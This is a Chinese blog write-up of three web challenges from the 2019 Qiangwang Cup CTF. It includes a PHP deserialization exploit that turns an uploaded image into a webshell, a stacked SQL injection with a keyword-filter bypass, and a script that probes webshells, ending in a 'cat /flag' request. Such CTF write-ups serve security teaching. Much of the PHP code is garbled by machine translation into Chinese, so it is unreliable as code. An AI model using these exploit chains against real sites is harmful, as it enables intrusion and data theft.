2019强网杯web部分题解

0x01上传

Docker环境:https://github.com/CTFTraining/qwb_2019_upload

刚开始正常上传图片,可以得到图片马路径,但是文件后缀被修改且没有文件包含点。
通过dirsearch扫到网站源码。

拿到源码首先需要查看配置文件和路由
,看了一眼配置文件,cache.php无缓存文件功能,不能写入一句话木马读取。

查看TP5 /路由/ route.php路由功能文件,分析URL访问时控制类调用情况。

Thinkphp5框架是最新版,没有找到漏洞。遂跟进网站应用控制类下。

TP5 /应用/网页/控制器/ index.php的第37行
$profile通过cookie传入,存在任意类反序列化操作

搜索有可以利用的函数,发现TP5 /应用/网页/控制器/ Profile.php第43行
存在文件重名操作copy


在profile.php下文件存在get()、call()魔术方法可以利用。
call()通过类调用不存在方法而触发。通过可以get()向$this->{$name}传入upload_img方法,进行upload_img()方法二次调用,执行文件名重写。

在TP5 /应用/网页/控制器/ Register.php第58行,发现析构函数,检查为类变量可控。通过类轮廓调用不存在的索引()方法即可触发轮廓类下的__call魔术方法。


编写EXP

<?php 
namespace app \ web \ controller; 
使用think \ Controller; 
//先传入带有shell的图片马,然后将生成的cookie替换当前用户字段,重新加载界面,就可以执行木马。路径可以在传入图片之后网页源码找到
.class Register { 
    public $ checker; 
    public $ registed = false; 
    public function __construct($ checker)
    { 
        $ this-> checker = $ checker; 
    } 
} 
类档案{ 
    公共$ filename_tmp = “./上传/ 122c4a55d1a70cef972cac3982dd49a6 / f3ccdd27d2000e3f9255a7e3e2c48800.png”; 
    public $ filename =“./ upload / 122c4a55d1a70cef972cac3982dd49a6 / shell.php”; 
    public $ ext = true; 
    public $ except = array('index'=>'upload_img'); 
} 
$ a = new Register(new Profile());
印刷(用urlencode(BASE64_ENCODE(连载($ A))));

攻击链

0x02随便注

Docker:https://github.com/CTFTraining/qwb_2019_supersqli
尝试Sql注入弹出如下过滤情况

发现存在堆叠注入
1’;show tables;#

使用预编译语句插入查询语句
参考官方链接:(编写的SQL语句语法)[ https://dev.mysql.com/doc/refman/8.0/en/sql-syntax-prepared-statements.html]

设置@sql = concat('sel''ect * from'1919810931114514`'); 
从@sql准备presql; 
执行presql; 
deallocate准备presql;

使用strstr过滤set、prepare。大小写绕过即可

高明的黑客

Docker:https://github.com/CTFTraining/qwb_2019_smarthacker


拉下网页源码,发现存在shell语句但无法判断哪个是真正的Shell

类似有assert、eval、system相关函数
编写脚本批量查shell

http://127.0.0.1:8304/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

import os,re,requests

filename=os.listdir('/var/www/html/src')
pattern=re.compile(r"\$_[GETPOS]{3,4}\[.*\]")
j=1
for i in filename:
    q=j+1
    print(i)
    with open('/var/www/html/src/'+i,'r') as f:
        data=f.read()
    reqname=list(set(pattern.findall(data)))
    for ret in reqname:
        try:
            command='uname'
            flag='Linux'
            if 'GET' in ret:
                parm=re.findall(r"'(.*)'",ret)[0]
                url="http://127.0.0.1:8304/"+i
                params={parm:command}
                r=requests.get(url=url,params=params)
                if flag in r.text:
                    print('webshell filename is: '+i)
                    print('GET_name: '+parm)
            if 'POST' in ret:
                parm=re.findall(r"'(.*)'",ret)[0]
                url="http://127.0.0.1:8304/"+i
                data={parm:command}
                r=requests.post(url=url,data=data)
                if flag in r.text:
                    print('webshell filename is: '+i)
                    print('POST_name: '+parm)
        except: pass

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!